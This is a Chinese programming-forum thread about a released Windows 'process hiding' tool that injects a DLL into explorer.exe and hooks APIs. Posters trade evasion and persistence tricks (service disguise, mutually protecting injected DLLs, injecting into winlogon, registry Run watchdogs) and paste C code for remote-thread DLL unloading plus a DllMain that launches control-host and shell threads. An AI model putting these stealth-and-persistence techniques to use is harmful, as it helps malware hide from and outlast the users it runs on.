发布软件:《进程隐藏工具》,使用线程注入、全局钩子、API钩子、进程隐藏、托盘图标隐藏技术(100分)

  • 主题发起人 主题发起人 zrpzf
  • 开始时间 开始时间
Z

zrpzf

Unregistered / Unconfirmed
GUEST, unregistred user!
http://zuoer.vicp.net/zms/zrweb.asp?rid=aaaaaamp&cpid=aaaaaabi
 
注入运行后能看到Addons.dll么?
能看到DLL的话就不研究了,查看被注入最后装载的DLL不就露馅了吗?
不过能作出成品很不错啦,最进研究这些,发现还是做成服务欺骗用户的隐蔽性高些,连依存关系都能自己改,很难分辨出来。注入DLL的话,一对比加载的DLL文件就出来了,瞬间被人做掉....
 
“注入运行后能看到Addons.dll么?”
---看用什么东西看了,任务管理器肯定是看不到,但一些工具估计可以。比如看宿主进程(explorer.exe)调用的DLL,就可以发现它
 
汗,这年头想相信任务管理器都不行,不止不能看模块,没有完整路径名,还掐不死有些服务方式启动的东西...早就自己写了一个方便点的。
关于模块Addons.dll,如果不作处理,注入的肯定在模块列表最后一个(一查就出来了),最主要的,模块基址很低(默认编译的是00040000,而系统的至少10000000的高端)
注入的DLL两个互锁好一些,另一个插入到第三方软件的进程里(我是注入那个万恶的3721隐藏进程cns.exe,再不real的服务进程...),但是这样还是有可能被人一次杀掉这2个进程啊,要是能写CSRSS.exe或者LSASS.exe就无敌了...
 
Aggress.exe 可以带一个参数以指定注入到那一个进程,这个参数是进程的名字,不包括路径名,如 Aggress.exe explorer.exe
但不知道为什么,csrss.exe和lsass.exe注入不成功
关于能通过自己写的或其他进程查看工具,看到注入体DLL,即Addons.dll,我认为这是正常的,其实我自己也有一个类似的工具,可以看见每个进程都调用了那些DLL,其中就可以清楚到看到explorer.exe调用的Addons.dll,而其它所以激活过的进程调用了那个钩子DLL。但我不知道如何在不终止进程的前提下,卸载其调用的一个DLL。如果你有办法卸载的话,还望相告,或许可以据此改进一下这个工具。
这个工具在自我保护上是很弱的,比如实现系统启动时自动运行Aggress.exe完成注入,现在是写注册表的run项,当然,在Addons.dll中有一个线程在不断地检查这个注册表项,以防用户手工删除。但这是不保险的,因为Aggress.exe在完成注入后就退出了,用户完全可以将此文件改名或删除,重启后执行不了Aggress.exe,然后再去删除该注册表项。事实上,不重启也可以实现相同的目的。
其实,正如我网站上和readme.txt中说明的一样,我做这个工具的目的很单纯,就是为了不让客户无意识地关闭了我要求运行的程序,并没有针对破解高手进行特殊的设计。
 
大侠,看看我的问题。
http://www.delphibbs.com/delphibbs/DispQ.asp?LID=3368136
 
csrss.exe是核心进程,就算有Debug权限,注入代码后照样蓝屏。好像是不能的...
一般注入winlogin.exe就好了。“我做这个工具的目的很单纯”--汗,我的目的那不就是不纯了。这两天赶着写个查杀木马的东西,为了演示程序功能,不写一个狠点的不行。
写注册表的run项肯定不妥,大家都熟知的地方,当然被关的几率大。写个系统服务,自动加载,隐蔽较好。

但我不知道如何在不终止进程的前提下,卸载其调用的一个DLL 的方法,有是有,不同情况下报错的可能性还是很大的,贴楼下。
 
抄别人的,也就没试过了。C语言版的。
还有个注入代码方式,记得在某期的《电脑编程与维护》上见过(Delphi的),可惜是图书馆的杂志,代码又很多.....残念。
int Uninject(DWORD pid, char *dll)
{
HANDLE hProcess = NULL, hThread = NULL, hthSnapshot = NULL;
MODULEENTRY32 hMod = {sizeof(hMod)};

hthSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,pid);
if (hthSnapshot == NULL)
{
return 0;
}
BOOL bMoreMods = Module32First(hthSnapshot, &hMod);
if (bMoreMods == FALSE)
{
return FALSE;
}
for (;bMoreMods;
bMoreMods = Module32Next(hthSnapshot, &hMod))
{
if ((!stricmp(hMod.szExePath, dll))||(!stricmp(hMod.szModule,dll)))
{
hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION, FALSE, pid);
if (hProcess == NULL)
{
return 0;

}


PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32.dll"), "FreeLibrary");

if (pfnThreadRtn == NULL)
{
return 0;
}


hThread = CreateRemoteThread(hProcess,NULL,0,pfnThreadRtn,hMod.modBaseAddr,0,NULL);

if (hThread == NULL)
{
return 0;

}

WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hthSnapshot);
CloseHandle(hProcess);

}
}
return 1;
}
结果就是,应用程序出错,呵呵,变相卸载。:(
再贴出DLLMAIN,
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
hXDll = hModule;
CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)GetControlHostandPort,NULL,0,NULL);
CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartXBShell_Main,(LPVOID)0,0,NULL);
CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartXBShell_Main,(LPVOID)1,0,NULL);
break;

case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
//FreeLibraryAndExitThread((HINSTANCE)hXDll,0);
//FreeLibrary((HINSTANCE)hXDll);
#endif
break;
}

return TRUE;
}
 
听课, 收藏。 顶起。
 
"结果就是,应用程序出错,呵呵,变相卸载"
--这不行吧
 
所以啊,我根本就没想过翻译成Delphi的。
对付DLL这种东西,直接用MoveFileEx删除文件,根本不管哪个程序被注入。
怕的就是再写个服务进程,一直监视着这个DLL的存在,然后这个DLL又一直检测服务是否注册,是否正常运行...(刚才调试时加了个messagebox,结果每个被注入的进程都弹出了N个对话框,害得我刚才重启机器。真有点后悔去Hook WH_GETMESSAGE了...)
 
LZ,你的网址打不开啊
 
对不起,这段时间我们的网站不稳定
 
我们的网站不稳定
不知谁将我的这个工具放到黑软基地去了,有需要的朋友可以用这个地址下载:
http://www.hackvip.com/Soft/download.asp?softid=9728&downid=12&id=7721
 
WIN2000中不能运行
XP,WIN2003上没问题
 
后退
顶部